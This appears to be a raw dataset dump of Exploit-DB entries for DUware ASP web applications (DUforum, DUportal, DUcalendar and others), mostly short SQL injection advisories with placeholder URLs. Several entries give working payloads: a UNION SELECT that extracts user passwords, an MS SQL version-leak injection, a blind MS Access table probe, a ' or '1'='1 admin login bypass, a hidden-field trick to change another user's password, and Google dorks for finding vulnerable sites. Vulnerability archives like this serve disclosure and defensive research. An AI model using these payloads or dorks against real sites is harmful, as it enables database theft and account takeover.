deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5927
Description: DUcalendar 1.0 - 'iEve' SQL Injection
Type: webapps
Platform: asp
Date: 2008-06-24
Author: Bl@ckbe@rD

Exploit:
                                            DUcalendar v 1.0 (detail.asp?iEve=) Remote SQL Inection Exploit


[+] Script : DUcalendar 

[+] Version : 1.0 (Maybe others) 

[+] Exploit : Remote SQL Injection 

[+] Script URL : http://www.codedworld.com/download/ducalendar-/545.html 

[+] Description : ('Free Event Calendar written in ASP. Features include 
unlimited entries, organized in category. Events displayed with full 
description, date, location. Users can submit new events and search for 
events. Complete Web-based Admin. Dreamweaver friendly.') 

[+] Dork : intitle:"DUcalendar 1.0" 

--//--> Exploit : 

http://d0rk.co.il/calendar/detail.asp?iEve={SQL} 

--__--> For Ms SQL Server : convert(int,(select+@@version))-- 

--__--> For Ms ACCESS (Blind-way) : IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Name%20from%20MSysObjects))='a',0,'done')%00 


--//--> Greetz : allah , Underz0ne Crew , and all my friends .. 

# milw0rm.com [2008-06-24]
Exploit-DB #27757
Description: DUclassified - 'detail.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-04-28
Author: sadegh.sarshogh

Exploit:
source: https://www.securityfocus.com/bid/17722/info

DUclassified is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/products/detail.asp?iPro=&#039;
Exploit-DB #24671
Description: DUclassified 4.x - 'adDetail.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2004-10-11
Author: Soroosh Dalili

Exploit:
source: https://www.securityfocus.com/bid/11363/info

Multiple vulnerabilities have been identified in the software that may allow a remote attacker to carry out SQL injection and HTML injection attacks. An attacker may also gain unauthorized access to a user's account.

DUclassmate may allow unauthorized remote attackers to gain access to a computer.

DUclassified is reported prone to multiple SQL injection vulnerabilities.

SQL injection issues also affect DUforum.

DUclassified and DUforum are also reported vulnerable to various unspecified HTML injection vulnerabilities.

http://www.example.com/DUclassified/adDetail.asp?cat_id=1;[SQL INJECT]&sub_id=1;[SQL INJECT]
Exploit-DB #24672
Description: DUclassmate 1.x - 'account.asp?MM-recordId' Arbitrary Password Modification
Type: webapps
Platform: asp
Date: 2004-10-11
Author: Soroosh Dalili

Exploit:
source: https://www.securityfocus.com/bid/11363/info
 
Multiple vulnerabilities have been identified in the software that may allow a remote attacker to carry out SQL injection and HTML injection attacks. An attacker may also gain unauthorized access to a user's account.
 
DUclassmate may allow unauthorized remote attackers to gain access to a computer.
 
DUclassified is reported prone to multiple SQL injection vulnerabilities.
 
SQL injection issues also affect DUforum.
 
DUclassified and DUforum are also reported vulnerable to various unspecified HTML injection vulnerabilities.
 

<input type="hidden" name="MM_recordId" value="[Your ID Number]">
Exploit-DB #30250
Description: DUClassmate 1.x - 'ICity' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-02
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/24637/info

DUClassmate is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/default.asp?iCity=[SQL Injection]
Exploit-DB #5894
Description: DUdForum 3.0 - 'iFor' SQL Injection
Type: webapps
Platform: asp
Date: 2008-06-22
Author: Bl@ckbe@rD

Exploit:
#                                                      #
#         Bl@ckbe@rD ('Tunisian TerrorisT')            #
#                                                      #
------------------------- #$$$$$$$$$$$$$$$$$$$$$$$#----------------------------------------

[+] Script Name    : DUdForum 3.0 Rem0te SQL Injection EXploit

|+| Team           : InjEct0r5

[+] Author         : Bl@ckbe@rD ('Tunisian TerrorisT')

[+] Contact        : blackbeard-sql[A.T]hotmail{.}fr

[+] Home           : http://www.underz0ne.com

[+] Dork           : Powered by DUdforum 3.0     inurl:/forums.asp?iFor=

--//-->

[+] Expl0iT :

http://www.site.xx/forum/forum.asp?iFor={sql}

http://www.site.xx/forum/forum.asp?iFor=12+union+select+1,2,3,u_password,5,u_id,7,8,9,10,11,12+from+users
--//-->

[+] GrEEtZ : allah , Xerror , hak3r-b0y ,King Of Hacker , UnderZ0ne Crew...

# milw0rm.com [2008-06-22]
Exploit-DB #29219
Description: DUdownload 1.0/1.1 - 'detail.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-12-02
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21405/info

Multiple DuWare products are prone to multiple SQL-injection vulnerabilities because they fail to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/detail.asp?iPro=196&iType=[SQL Injection]
http://www.example.com/detail.asp?iNews=[SQL Injection]
http://www.example.com/detail.asp?iType=[SQL Injection]
http://www.example.com/detail.asp?iFile=[SQL Injection]
http://www.example.com/detail.asp?action=[SQL Injection]
Exploit-DB #24675
Description: DUforum 3.x - 'messageDetail.asp?MSG_ID' SQL Injection
Type: webapps
Platform: asp
Date: 2004-10-11
Author: Soroosh Dalili

Exploit:
source: https://www.securityfocus.com/bid/11363/info
   
Multiple vulnerabilities have been identified in the software that may allow a remote attacker to carry out SQL injection and HTML injection attacks. An attacker may also gain unauthorized access to a user's account.
   
DUclassmate may allow unauthorized remote attackers to gain access to a computer.
   
DUclassified is reported prone to multiple SQL injection vulnerabilities.
   
SQL injection issues also affect DUforum.
   
DUclassified and DUforum are also reported vulnerable to various unspecified HTML injection vulnerabilities.

http://www.example.com/DUforum/messageDetail.asp?MSG_ID=1;[SQL INJECT]
Exploit-DB #24674
Description: DUforum 3.x - 'messages.asp?FOR_ID' SQL Injection
Type: webapps
Platform: asp
Date: 2004-10-11
Author: Soroosh Dalili

Exploit:
source: https://www.securityfocus.com/bid/11363/info
  
Multiple vulnerabilities have been identified in the software that may allow a remote attacker to carry out SQL injection and HTML injection attacks. An attacker may also gain unauthorized access to a user's account.
  
DUclassmate may allow unauthorized remote attackers to gain access to a computer.
  
DUclassified is reported prone to multiple SQL injection vulnerabilities.
  
SQL injection issues also affect DUforum.
  
DUclassified and DUforum are also reported vulnerable to various unspecified HTML injection vulnerabilities.

http://www.example.com/DUforum/messages.asp?FOR_ID=1;[SQL INJECT]
Exploit-DB #24673
Description: DUforum 3.x - Login Form 'Password' SQL Injection
Type: webapps
Platform: asp
Date: 2004-10-11
Author: Soroosh Dalili

Exploit:
source: https://www.securityfocus.com/bid/11363/info
  
Multiple vulnerabilities have been identified in the software that may allow a remote attacker to carry out SQL injection and HTML injection attacks. An attacker may also gain unauthorized access to a user's account.
  
DUclassmate may allow unauthorized remote attackers to gain access to a computer.
  
DUclassified is reported prone to multiple SQL injection vulnerabilities.
  
SQL injection issues also affect DUforum.
  
DUclassified and DUforum are also reported vulnerable to various unspecified HTML injection vulnerabilities.


user= admin
password= ' or '1'='1
Exploit-DB #25482
Description: DUportal 3.1.2 - 'channel.asp?iChannel' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-20
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13288/info

DUportal/DUportal SQL are prone to multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

These vulnerabilities are reported to affect DUportal/DUportal SQL 3.1.2; earlier versions may also be affected. 

http://www.example.com/test_DUportal/home/../home/channel.asp?iChannel='SQL_INJECTION&nChannel=Articles
Exploit-DB #25483
Description: DUportal 3.1.2 - 'inc_poll_voting.asp?DAT_PARENT' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-20
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13288/info
 
DUportal/DUportal SQL are prone to multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
These vulnerabilities are reported to affect DUportal/DUportal SQL 3.1.2; earlier versions may also be affected. 

http://www.example.com/test_DUportal/includes/inc_poll_voting.asp?DAT_PARENT='SQL_INJECTION&DAT_CATEGORY=254&CHA_ID=15&CHA_NAME=Polls&DAT_ID=112
Exploit-DB #25484
Description: DUportal 3.1.2 - 'inc_rating.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-04-20
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13288/info
  
DUportal/DUportal SQL are prone to multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
These vulnerabilities are reported to affect DUportal/DUportal SQL 3.1.2; earlier versions may also be affected. 

http://www.example.com/test_DUportal/includes/inc_rating.asp?iChannel=8&iCat=231&iData='SQL_INJECTION&nChannel=Products&iRate=5
http://www.example.com/test_DUportal/includes/inc_rating.asp?iChannel=8&iCat=231&iData=86&nChannel=Products&iRate='SQL_INJECTION
Exploit-DB #25485
Description: DUportal 3.1.2 - 'type.asp?iCat' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-20
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13288/info
  
DUportal/DUportal SQL are prone to multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
These vulnerabilities are reported to affect DUportal/DUportal SQL 3.1.2; earlier versions may also be affected. 

http://www.example.com/test_DUportal/home/type.asp?iCat='SQL_INJECTION&iChannel=8&nChannel=Products
Exploit-DB #25477
Description: DUportal Pro 3.4 - 'search.asp?iChannel' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-20
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13285/info
 
DUportal Pro is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
These vulnerabilities are reported to affect DUportal Pro 3.4; earlier versions may also be affected. 

http://www.example.com/dUpro/Businesses/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/Classifieds/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/Events/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/events/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/Files/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/home/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/Pictures/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/polls/../polls/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/Topics/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/home/../home/search.asp?keyword=&#039;SQL_ERRORS&iChannel=
http://www.example.com/dUpro/Topics/../home/search.asp?keyword=&#039;SQL_ERRORS&iChannel=
Exploit-DB #25863
Description: DUware DUamazon Pro 3.0/3.1 - 'catDelete.asp?iCat' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14033/info
   
DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazonPro/admin/catDelete.asp?iCat=13[SQL Inject]
Exploit-DB #25865
Description: DUware DUamazon Pro 3.0/3.1 - 'detail.asp?iSub' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14033/info
     
DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
     
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazonPro/shops/detail.asp?iPro=34&iSub=17[SQL Inject]
Exploit-DB #25864
Description: DUware DUamazon Pro 3.0/3.1 - 'review.asp?iPro' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14033/info
    
DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
    
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazonPro/shops/review.asp?iSub=17&iPro=36[SQL Inject]
Exploit-DB #25872
Description: DUware DUclassmate 1.x - 'default.asp?iState' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-01
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14036/info

DUclassmate is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUclassmate/default.asp?iState=[SQL Inject]&nState=Florida
Exploit-DB #25873
Description: DUware DUclassmate 1.x - 'edit.asp?iPro' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-01
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14036/info
 
DUclassmate is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUclassmate/admin/edit.asp?iPro=[SQL Inject]
Exploit-DB #25870
Description: DUware DUforum 3.0/3.1 - 'forums.asp?iFor' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14035/info
  
DUforum is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUforum/forums.asp?iFor=[SQL Inject]
Exploit-DB #25868
Description: DUware DUforum 3.0/3.1 - 'messages.asp?iMsg' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14035/info

DUforum is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUforum/messages.asp?iMsg=[SQL Inject]248&iFor=6
Exploit-DB #25869
Description: DUware DUforum 3.0/3.1 - 'post.asp?iFor' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14035/info
 
DUforum is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUforum/post.asp?iFor=6[SQL Inject]
Exploit-DB #25871
Description: DUware DUforum 3.0/3.1 - 'userEdit.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14035/info
   
DUforum is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUforum/admin/userEdit.asp?id=[SQL Inject]
Exploit-DB #33171
Description: DUWare DUgallery 3.0 - '/admin/edit.asp' Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-08-17
Author: spymeta

Exploit:
source: https://www.securityfocus.com/bid/36049/info

DUgallery is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to gain unauthorized administrative access to the affected application. Successfully exploiting this issue will lead to other attacks.

DUgallery 3.0 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://www.example.com/Accessories/admin/edit.asp?iPic=[PictureID]
Exploit-DB #25866
Description: DUware DUpaypal 3.0/3.1 - 'detail.asp?iPro' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14034/info

DUpaypal Pro is prone to multiple SQL-injection vulnerabilities because the fails application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUpaypalPro/shops/detail.asp?iPro=40[SQL Inject]&iSub=
Exploit-DB #25867
Description: DUware DUpaypal 3.0/3.1 - 'sub.asp?iSub' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14034/info
 
DUpaypal Pro is prone to multiple SQL-injection vulnerabilities because the fails application to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/DUpaypalPro/shops/sub.asp?iSub=[SQL Inject]
Exploit-DB #25858
Description: DUware DUportal 3.4.3 Pro - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14029/info

DUportal Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Some of these issues may have previously been discussed in BID 13285 and BID 13288. 

http://www.example.com/DUportalPro34/Articles/default.asp?iChannel=2[SQL Inject]&nChannel=Articles
http://www.example.com/DUportalPro34/Articles/detail.asp?iData=4[SQL Inject]&iCat=292&iChannel=2&nChannel=Articles
http://www.example.com/DUportalPro34/home/members.asp?iMem=[SQL Inject]
http://www.example.com/DUportalPro34/topics/cat.asp?iCat=4[SQL Inject]&iChannel=16&nChannel=Topics
http://www.example.com/DUportalPro34/Polls/default.asp?iChannel=15[SQL Inject]&nChannel=Polls
http://www.example.com/DUportalPro34/home/members.asp?iMem=[SQL Inject]
http://www.example.com/DUportalPro34/admin/members_listing_approval.asp?offset=[SQL Inject]
http://www.example.com/DUportalPro34/admin/channels_edit.asp?iChannel=7[SQL inject]&nChannel=[Name Module]
Exploit-DB #26742
Description: DuWare DuPortalPro 3.4.3 - 'Password.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-06
Author: Dj_Eyes

Exploit:
source: https://www.securityfocus.com/bid/15731/info

DuPortalPro is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/demos/DUportalPro34Demo/home/password.asp?result=[XSS]